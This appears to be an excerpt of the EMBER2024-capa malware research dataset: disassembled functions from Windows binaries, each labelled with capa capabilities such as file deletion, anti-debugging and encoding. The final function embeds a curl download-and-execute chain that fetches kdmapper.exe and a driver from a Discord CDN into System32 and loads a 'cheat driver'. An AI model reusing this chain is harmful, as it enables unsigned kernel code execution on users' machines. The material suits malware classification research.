joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140006bb0
Capabilities:
Create directory

Disassembly:
sub rsp, 0x68
lea rax, [0x14000b890]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x48], rax
sub rax, 0x10
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x38]
mov dword [rsp + 0x38], 0x40001
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x20], 0x18
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov r8d, eax
xor eax, eax
test r8d, r8d
jne 0x140006c14
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x68
ret

Function at 0x140006c19
Capabilities:
Create directory

Disassembly:
sub rsp, 0x28
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140006c34
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
add rsp, 0x28
ret

Function at 0x140006c3b
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x78
xor r8d, r8d
xor r9d, r9d
mov dword [0x140037e80], 0x68
lea rax, [rsp + 0x58]
mov rdx, rcx
xor ecx, ecx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x48], rax
lea rax, [0x140037e80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x4000000
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov r8d, eax
xor eax, eax
test r8d, r8d
je 0x140006cac
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x58]
add rsp, 0x78
ret

Function at 0x140006cb1
Capabilities:
Create process on windows

Disassembly:
mov dword [rcx], 0x70
mov qword [rcx + 0x40], 0
jmp qword [sym.imp.SHELL32.dll_ShellExecuteExW]

Function at 0x140006ef5
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push r12
sub rsp, 0x20
mov qword [rsp + 0x30], rcx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov r12d, eax
cmp eax, 0xffffffff
je 0x140006f1e
mov edx, eax
mov rcx, qword [rsp + 0x30]
and edx, 0xfffffffe
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, r12d
add rsp, 0x20
pop r12
ret

Function at 0x140006f28
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push r13
push r12
push rbx
sub rsp, 0x20
mov r12, rcx
mov ebx, edx
call fcn.140006ef5
mov r13d, eax
cmp eax, 0xffffffff
jne 0x140006f47
xor ebx, ebx
jmp 0x140006f7b
mov rcx, r12
test bl, 1
je 0x140006f73
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x140006f6c
and ebx, 4
jne 0x140006f43
mov edx, r13d
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
jmp 0x140006f7b
mov ebx, 1
jmp 0x140006f7b
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x140006f55
mov eax, ebx
add rsp, 0x20
pop rbx
pop r12
pop r13
ret
Function at 0x140006f87
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
sub rsp, 0x40
mov dword [rsp + 0x58], edx
mov ebx, r8d
mov qword [rsp + 0x50], rcx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov rcx, qword [rsp + 0x50]
mov edx, dword [rsp + 0x58]
cmp eax, 0xffffffff
jne 0x140006fae
xor eax, eax
mov dword [rsp + 0x28], eax
xor r9d, r9d
mov r8d, 1
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
add rsp, 0x40
pop rbx
ret

Function at 0x140006fd4
Capabilities:
Get common file path

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x38
mov ebx, 0x65
movabs rdi, 0x610073006e
mov r12, rcx
mov rsi, rdx
dec ebx
je 0x140007029
mov qword [rsp + 0x28], rdi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x1a
xor edx, edx
xor r8d, r8d
div ecx
mov r9, r12
mov rcx, rsi
add word [rsp + 0x2c], dx
lea rdx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x140006ff2
jmp 0x140007033
mov word [r12], 0
xor r12d, r12d
mov rax, r12
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop r12
ret

Function at 0x140007040
Capabilities:
Read file on windows

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x20], 0
mov ebx, r8d
lea r9, [rsp + 0x3c]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140007069
xor eax, eax
cmp dword [rsp + 0x3c], ebx
sete al
add rsp, 0x40
pop rbx
ret

Function at 0x14000706f
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x20], 0
mov ebx, r8d
lea r9, [rsp + 0x3c]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140007098
xor eax, eax
cmp dword [rsp + 0x3c], ebx
sete al
add rsp, 0x40
pop rbx
ret

Function at 0x140007145
Capabilities:
Move file

Disassembly:
sub rsp, 0x28
mov r8d, 5
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
mov rax, qword [0x14000c060]
inc dword [rax + 0x10]
add rsp, 0x28
ret

Function at 0x14000725f
Capabilities:
Query or enumerate registry value

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x40
mov r12, r8
xor r8d, r8d
mov rbx, r9
cmp dword [rsp + 0x80], 0
setne r8b
lea r9, [rsp + 0x38]
mov dword [rsp + 0x30], 0x800
shl r8d, 9
or r8d, 0x20019
call fcn.1400071c3
test eax, eax
je 0x1400072a4
mov word [rbx], 0
jmp 0x1400072ee
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
xor r8d, r8d
mov rdx, r12
lea r9, [rsp + 0x34]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x38]
mov esi, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov word [rbx + 0x7fe], 0
test esi, esi
jne 0x14000729d
mov eax, dword [rsp + 0x34]
dec eax
cmp eax, 1
ja 0x14000729d
add rsp, 0x40
pop rbx
pop rsi
pop r12
ret
Function at 0x140007564
Capabilities:
Get file attributes

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140036e80]
mov rdx, rcx
mov rcx, r12
call fcn.1400073c7
mov rcx, r12
call fcn.140006dec
mov rbx, rax
test rax, rax
jne 0x140007592
xor eax, eax
jmp 0x1400075ff
mov rcx, rax
call fcn.140007458
mov rax, qword [0x14000c080]
test byte [rax], 0x80
je 0x1400075b4
mov ax, word [rbx]
test ax, ax
je 0x14000758e
cmp ax, 0x5c
je 0x14000758e
sub rbx, r12
mov rsi, qword [sym.imp.KERNEL32.dll_lstrlenW]
sar rbx, 1
mov rcx, r12
call rsi
mov rcx, r12
cdqe
cmp rax, rbx
jle 0x1400075e9
call fcn.140007535
test rax, rax
je 0x1400075df
test byte [rax], 0x10
je 0x14000758e
mov rcx, r12
call fcn.140006d85
jmp 0x1400075c1
call fcn.1400073e2
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
inc eax
setne al
movzx eax, al
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
Function at 0x140007608
Capabilities:
Delete file

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x288
mov edi, edx
mov r12, rcx
mov esi, edx
call fcn.140007564
and edi, 4
mov ebp, eax
test sil, 8
je 0x14000764e
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdx, qword [0x14000c060]
cmp eax, 1
adc dword [rdx + 8], 0
jmp 0x140007818
mov r14d, esi
and r14d, 1
je 0x140007669
test eax, eax
je 0x1400077fe
test sil, 2
je 0x1400077bb
lea r13, [0x140037680]
mov rdx, r12
mov rcx, r13
call fcn.1400073c7
test r14d, r14d
je 0x140007691
lea rdx, str..
mov rcx, r13
call sub.KERNEL32.dll_lstrcatW
jmp 0x140007699
mov rcx, r12
call fcn.140006d85
cmp word [r12], 0
jne 0x1400076ab
cmp word [0x140037680], 0x5c
jne 0x1400076ba
lea rdx, [0x14000b6a0]
mov rcx, r12
call sub.KERNEL32.dll_lstrcatW
mov rcx, r12
lea r15, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, r13
mov rdx, r15
movsxd rbx, eax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
add rbx, rbx
add rbx, r12
mov r13, rax
cmp rax, 0xffffffffffffffff
je 0x1400077ac
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x28], rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov qword [rsp + 0x20], rax
cmp word [rsp + 0x5c], 0x2e
jne 0x140007720
mov ax, word [rsp + 0x5e]
test ax, ax
je 0x14000778e
cmp ax, 0x2e
jne 0x140007720
cmp word [rsp + 0x60], 0
je 0x14000778e
mov rdx, qword [rsp + 0x28]
mov rcx, rbx
call fcn.1400073c7
test byte [rsp + 0x30], 0x10
je 0x14000774a
mov eax, esi
and eax, 3
cmp eax, 3
jne 0x14000778e
mov edx, esi
mov rcx, r12
call fcn.140007608
jmp 0x14000778e
mov edx, edi
mov rcx, r12
call fcn.140006f28
test eax, eax
jne 0x140007781
test edi, edi
je 0x140007775
mov rdx, r12
mov ecx, 0xfffffff1
call fcn.140006602
xor edx, edx
mov rcx, r12
call fcn.140007145
jmp 0x14000778e
mov rax, qword [0x14000c060]
inc dword [rax + 8]
jmp 0x14000778e
mov rdx, r12
mov ecx, 0xfffffff2
call fcn.140006602
mov rax, qword [rsp + 0x20]
mov rdx, r15
mov rcx, r13
call rax
test eax, eax
jne 0x140007700
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindClose]
test r14d, r14d
je 0x140007818
mov word [rbx - 2], 0
test ebp, ebp
je 0x1400077fe
mov rcx, r12
call fcn.140007535
test rax, rax
je 0x140007818
mov rcx, r12
call fcn.1400073e2
mov edx, edi
mov rcx, r12
or edx, 1
call fcn.140006f28
test eax, eax
jne 0x14000780a
test edi, edi
je 0x1400077fe
mov rdx, r12
mov ecx, 0xfffffff1
call fcn.140006602
xor edx, edx
mov rcx, r12
call fcn.140007145
jmp 0x140007818
mov rax, qword [0x14000c060]
inc dword [rax + 8]
jmp 0x140007818
mov rdx, r12
mov ecx, 0xffffffe5
call fcn.140006602
nop
add rsp, 0x288
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14000782c
Capabilities:
Get common file path

Disassembly:
push r12
sub rsp, 0x260
mov edx, 0x104
lea r12, [rsp + 0x24]
mov qword [rsp + 0x270], rcx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov r9, qword [rsp + 0x270]
lea edx, [rax - 1]
cmp edx, 0x103
ja 0x140007871
cmp word [rsp + rdx*2 + 0x24], 0x5c
sete dl
movzx edx, dl
jmp 0x140007878
xor eax, eax
mov edx, 1
mov eax, eax
add rdx, rdx
add rax, rax
lea rcx, [r12 + rax]
lea rax, [0x14000b6a0]
lea r8, [rax + rdx]
lea rdx, str._s_S.dll
call qword [sym.imp.USER32.dll_wsprintfW]
mov r8d, 8
xor edx, edx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
add rsp, 0x260
pop r12
ret
Function at 0x1406369ac
Capabilities:
Encode data using base64

Disassembly:
test ebx, ebx
push 0xffffffffab8b0730
jmp 0x140659ac7

Function at 0x140637ca9
Capabilities:
Encode data using base64
Execute anti-debugging instructions
Parse pe header

Disassembly:
lea edx, [rdx + rbp*8 - 0x63422b1]
pop rbx
sar cl, 0xa6
movzx ebx, byte [rsp + rcx - 0x5f2be7fd]
rol edx, 2
lea edx, [rdx + rcx - 0x3cffd4e5]
not edx
lea r9, [rbx + rbx*8 + 0x2f05a025]
cdqe
mov qword [rsp + rcx - 0x5f2be800], r10
shl r8b, 0x21
call fcn.140643bfd

Function at 0x140642782
Capabilities:
Encode data using base64

Disassembly:
lea rsp, [rsp + 0x10]
jne 0x14063b9eb

Function at 0x14064c16c
Capabilities:
Parse pe header

Disassembly:
adc bp, r9w
lea rbp, [r9*8 - 0x5edee253]
pop r10
lea rax, [rdx + rdx*8 - 0x2a6ccb51]
sar bx, 1
movsxd r8, r8d
sub al, bpl
xor ebp, ebp
adc ebp, 0x62bdb23e
adc rdi, r8
mov rax, qword [r9 + rsi - 1]
mov r9w, word es:[rax + r9*2 - 2]
sub rdx, rcx
mov r8d, 0xec1a6711
lea rsi, [rsi + rbx*4 - 0x8b5a]
mov word [rsi + rbx*2 - 0x45b0], r9w
rol bx, cl
jmp rdi
xor dword [rsp + r8 + 0x10], ebp
movsx r10d, cx
ror dword [rsp + rbx - 0x4b07f872], 0xd2
mov r10, qword [rsp + rbx - 0x4b07f86a]
call fcn.1406382ff
mov ebx, 0xd7911b9c
mov eax, ebx
lea r9, [rax*4 + 0x6e824c9c]
sub r11, 4
mov eax, dword [r11 + riz]
lea r8, [rbx - 0x61f0026f]
xor eax, r10d
lea rcx, [rbx + r8*8 + 0x6d0721b2]
push r8
or r8b, r8b
inc eax
xor r9d, r9d
lea r8, [r9 + r8*4 + 0x2000a58f]
shr r8b, 0xc7
not eax
dec dword [rsp + r9 + 4]
shl byte [rsp + r9*4 + 5], 0xe4
sbb eax, 0xb62e871e
lea rbx, [rbx*4 + 0x2e04c0af]
bswap r9d
not eax
shl bx, 0x26
mov qword [rsp + r9*8], r10
lea rdx, [r9 + rcx*4 - 0x8ddea7c]
mov ebp, 0x4126f123
adc rdx, rdx
xor dword [rsp + r9], eax
sal r8d, 0x33
xchg r9b, cl
pop r10
neg bp
movsxd rax, eax
rol r9b, 2
adc rdi, rax
inc bx
jg 0x14063986b
mov edx, dword [rsi + r9 - 0xda]
mov eax, dword [rsi + r9*4 - 0x364]
xchg bp, bx
sar r9, 0x5a
mov ecx, dword [rsi + r9 + 8]
setbe bpl
lea rsi, [rsi + r9 + 4]
jbe 0x1406619b1
or rbp, r9
div ecx
mov dword [rsi + r9*2], edx
mov edx, r9d
mov dword [r9 + rsi + 4], eax
add r9, rdi
jmp r9

Function at 0x140652655
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + rdx - 0x38], rdx
mov dword [rbx + rdx - 0x38], eax
movsx ebx, dx
jp 0x14064172e
movzx r8d, byte [rdx + r11 - 0x39]
call fcn.14062971b

Function at 0x140654004
Capabilities:
Encode data using base64

Disassembly:
dec ebx
call fcn.14062a5e3
push 0x5f82bdbf
jmp 0x14063bc81

Function at 0x140659607
Capabilities:
Encode data using base64

Disassembly:
push 0x41bcec0e
dec dword [rsp]
pop rax
mov rax, qword [rbp + rbx*8 + 0x20]
call fcn.14063af5b
lea rsp, [rsp + 0x10]
jne 0x14062ad54
call fcn.140634195
lea rsp, [rsp + 0x10]
jbe 0x14062ce94
mov edx, 0x6e3e1ab2
or dl, dl
lea edx, [rdx - 0x6e3e1aae]
mov ecx, 0x20887133
inc ecx
mov eax, ecx
lea ecx, [rbx + rcx - 0x20887138]
mov eax, 0x2b81931c
shl ecx, 3
not eax
sal edx, 3
ror rax, 0x7f
lea rax, [rax*4 - 0x25683ff6]
mov rax, rbp
adc rax, rdx
call fcn.14063995d
mov qword [rsp], 0xffffffff942b6589
cmp ebx, 4
jmp 0x140659674
jmp 0x14062ce5c
Function at 0x14065c45a
Capabilities:
Encode data using base64

Disassembly:
sbb bl, 3
movsxd r8, r8d
sar ebx, 0x4f
mov r9d, 0xc21c57bc
adc rdi, r8
movzx r9d, byte [r11 + rax - 0x79d1f825]
movsx r8d, bp
lea r11, [rax + r11 - 0x79d1f825]
or rbp, rdx
xadd ebx, eax
btc bx, r8w
xor r9b, r10b
lea r8, [rbx*2 + 0x78a7d422]
not edx
rol r9b, 1
mov qword [rsp + rdx*2 - 0x8020ac], rax
add ecx, ebp
adc r9b, 0xb2
jmp 0x140661272
dec bl
shr dword [rsp + rcx - 0x19bfefa5], 0xa
neg r9b
not dx
inc dword [rsp + rdx - 0x40efa6]
cwde
rol r9b, 1
not r9b
not dword [rsp + rdx - 0x40efa9]
xor r10b, r9b
cwd
lea r9, [rsp + r9 + 8]
neg edx
setbe byte [rsp + rax*2 + 4]
mov rbx, qword [r9 + rax]
add qword [rsp + rcx - 0x19bfefa9], rcx
mov qword [rsi + rax*2 - 2], rbx
cbw
setp bpl
inc dx
lea rsi, [rsi + rax*4 - 2]
pop rbp
jg fcn.14065696b
push rbp
push rbp
mov rbp, qword [rsp + rbp*2 - 0x3f2e]
call fcn.14065a6b6

Function at 0x140669536
Capabilities:
Encode data using base64
Execute anti-debugging instructions

Disassembly:
sbb eax, r8d
mov qword [rsp + r9 - 0x363632af], 0xffffffffb893edb1
xor byte [rsp + r8*2 + 4], 0xbe
rol r8, 0xad
rol eax, 2
jmp 0x1406622ef

Function at 0x14066c2eb
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea r8, [rcx + rcx + 0x673064a8]
sub r11, 4
lea rax, [rcx*8 - 0x762bf67]
mov edx, dword [r11 + riz]
xor edx, r10d
xadd rcx, r8
lea rbx, [rcx - 0x3df023cb]
rol edx, 3
mov qword [rsp], rcx
call fcn.1406444cb
add bpl, 0xa6
btr r8, rcx
neg ebx
shl bx, 0x81
neg bpl
dec bpl
not bpl
rol bpl, 1
shl edx, 0xd
dec cl
xor r10b, bpl
shl edx, 0x5b
adc rbp, rsp
xadd r8, rbx
mov ax, word [rdx + rbp]
btr edx, edx
mov r9d, 0x11a69639
or r8b, 0x9e
mov word [rsi + rbx - 0x340e5302], ax
not bx
mov eax, dword [rbx + r11 - 0x340ead04]
lea r11, [r11 + rbx - 0x340ead04]
rol r8, cl
neg edx
imul bx, cx
xor eax, r10d
dec r9d
or cx, 0xb227
neg eax
and r9, 0xffffffffb9383aa9
xadd rdx, r9
rol bx, 0x8d
sbb eax, 0xfe22459c
call fcn.1406365fb

Function at 0x140670d47
Capabilities:
Encode data using base64

Disassembly:
bt edx, edx
mov bx, r9w
ror ecx, cl
shr rbp, 0x5e
jnp 0x140630f52
movzx edx, byte [r11 + r8 + 0x3b00c]
lea r11, [r8 + r11 + 0x3b00c]
xor dl, r10b
not dl
sal bpl, 0xa3
bts bp, cx
sal rbp, cl
rol dl, 1
sub dl, 3
bts eax, 0x21
sal r8d, 0x4d
push rax
neg dl
not cx
add r8, rbp
xor r10b, dl
jmp 0x140661475
mov eax, 0xc423973d
mov eax, dword [r11 + riz - 4]
mov qword [rsp], 0xffffffffec04a018
pop rbx
xor eax, r10d
mov r8d, ebx
mov edx, r8d
bts edx, edx
lea eax, [rax + r8 - 0x244ecf2]
lea rcx, [r8 + rdx*4 - 0x45efb06a]
setae bl
ror eax, 2
bt cx, dx
movzx r9d, cx
dec eax
not rdx
not eax
xchg dx, bx
xor r8w, r8w
dec eax
sar r8b, 0xc2
sar r8, cl
and cx, r9w
neg eax
bts ecx, 0x9e
lea rbx, [r8 + rdx*2 - 0x595fde7c]
dec eax
sar edx, 0xd6
push r10
xor dword [rsp + r8 - 0x3b010], eax
pop r10
neg r9b
movsxd rax, eax
inc r9w
movsx ebp, r8b
neg bpl
add rdi, rax
not r8
mov r9w, word [rsi + r8*8 + 0x1d8088]
add rcx, 0x4a2bfa8e
mov dx, word [rsi + r8*2 + 0x76024]
lea rsi, [r8 + rsi + 0x3b015]
movsx eax, r8w
not r9w
not rcx
lea rax, [rcx*2 + 0x62883e10]
bts rbp, 0xa1
not dx
add ebp, eax
and r9w, dx
mov edx, ebp
jmp 0x140657045
Function at 0x14067145a
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + rbp - 0x506e0b7d], r10
rol qword [rsp + rbx*4 + 0x257808], cl
call fcn.14066db1b
Function at 0x1400030d0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x98
mov rax, qword [0x140057010]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rcx, qword [0x140057c08]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x140057e28]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x140057cc8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x140057e20]
call qword [sym.imp.USER32.dll_DestroyWindow]
movups xmm0, xmmword [0x14004e6d8]
movzx eax, byte [0x14004e6f8]
xor ecx, ecx
cmp dword [0x140057018], 2
movups xmm1, xmmword [0x14004e6e8]
mov byte [rsp + 0x50], al
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm1
jl 0x1400032c5
movdqa xmm0, xmmword [str.4444444444444444]
lea rdx, [rsp + 0x34]
movdqa xmm5, xmmword [0x14004f520]
mov eax, 4
movdqa xmm4, xmmword [0x14004f5e0]
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x70], xmm7
movdqa xmm7, xmmword [0x14004f540]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x60], xmm8
movd xmm8, eax
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14004f580]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14004f580]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x20
jl 0x1400031b0
movaps xmm8, xmmword [rsp + 0x60]
movaps xmm7, xmmword [rsp + 0x70]
movaps xmm6, xmmword [rsp + 0x80]
cmp ecx, 0x21
jge 0x1400032fd
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
movzx eax, cl
inc ecx
sub al, dl
add al, 0x34
xor byte [r8 - 1], al
cmp ecx, 0x21
jl 0x1400032d0
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140047190
add rsp, 0x98
ret
Function at 0x140004d30
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140057010]
xor rax, rsp
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0xf
mov byte [rsp + 0x20], 0
lea rdx, str.Do_you_want_to_load_The_cheat_driver___y_n_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000e510
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14000e6e0
lea rcx, [rsp + 0x20]
mov rbx, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x38]
cmp rsi, 0x10
cmovae rcx, rbx
mov rdi, qword [rsp + 0x30]
cmp rdi, 1
jne 0x140004dc6
mov r8, rdi
lea rdx, [0x1400499a8]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140004e38
lea rcx, [rsp + 0x20]
cmp rsi, 0x10
cmovae rcx, rbx
cmp rdi, 1
jne 0x140004dec
mov r8, rdi
lea rdx, [0x140049844]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140004e38
lea rcx, [rsp + 0x20]
cmp rsi, 0x10
cmovae rcx, rbx
cmp rdi, 3
jne 0x140004e12
mov r8, rdi
lea rdx, [0x1400499ac]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140004e38
lea rcx, [rsp + 0x20]
cmp rsi, 0x10
cmovae rcx, rbx
cmp rdi, 3
jne 0x140004e6e
mov r8, rdi
lea rdx, [0x1400499b0]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140004e6e
lea rcx, str.curl___silent_https:__cdn.discordapp.com_attachments_1097573771407265897_1099351596460167168_kdmapper.exe___output_C:WindowsSystem32kdmapper.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__cdn.discordapp.com_attachments_1097573771407265897_1099351673597608046_drvmoment.sys___output_C:WindowsSystem32drvmoment.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:WindowsSystem32__kdmapper.exe_drvmoment.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
lea ecx, [rdx + 0x3c]
call qword [sym.imp.KERNEL32.dll_Beep]
nop
cmp rsi, 0x10
jb 0x140004ea8
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140004ea0
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004ea0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1400471b0
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140047190
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret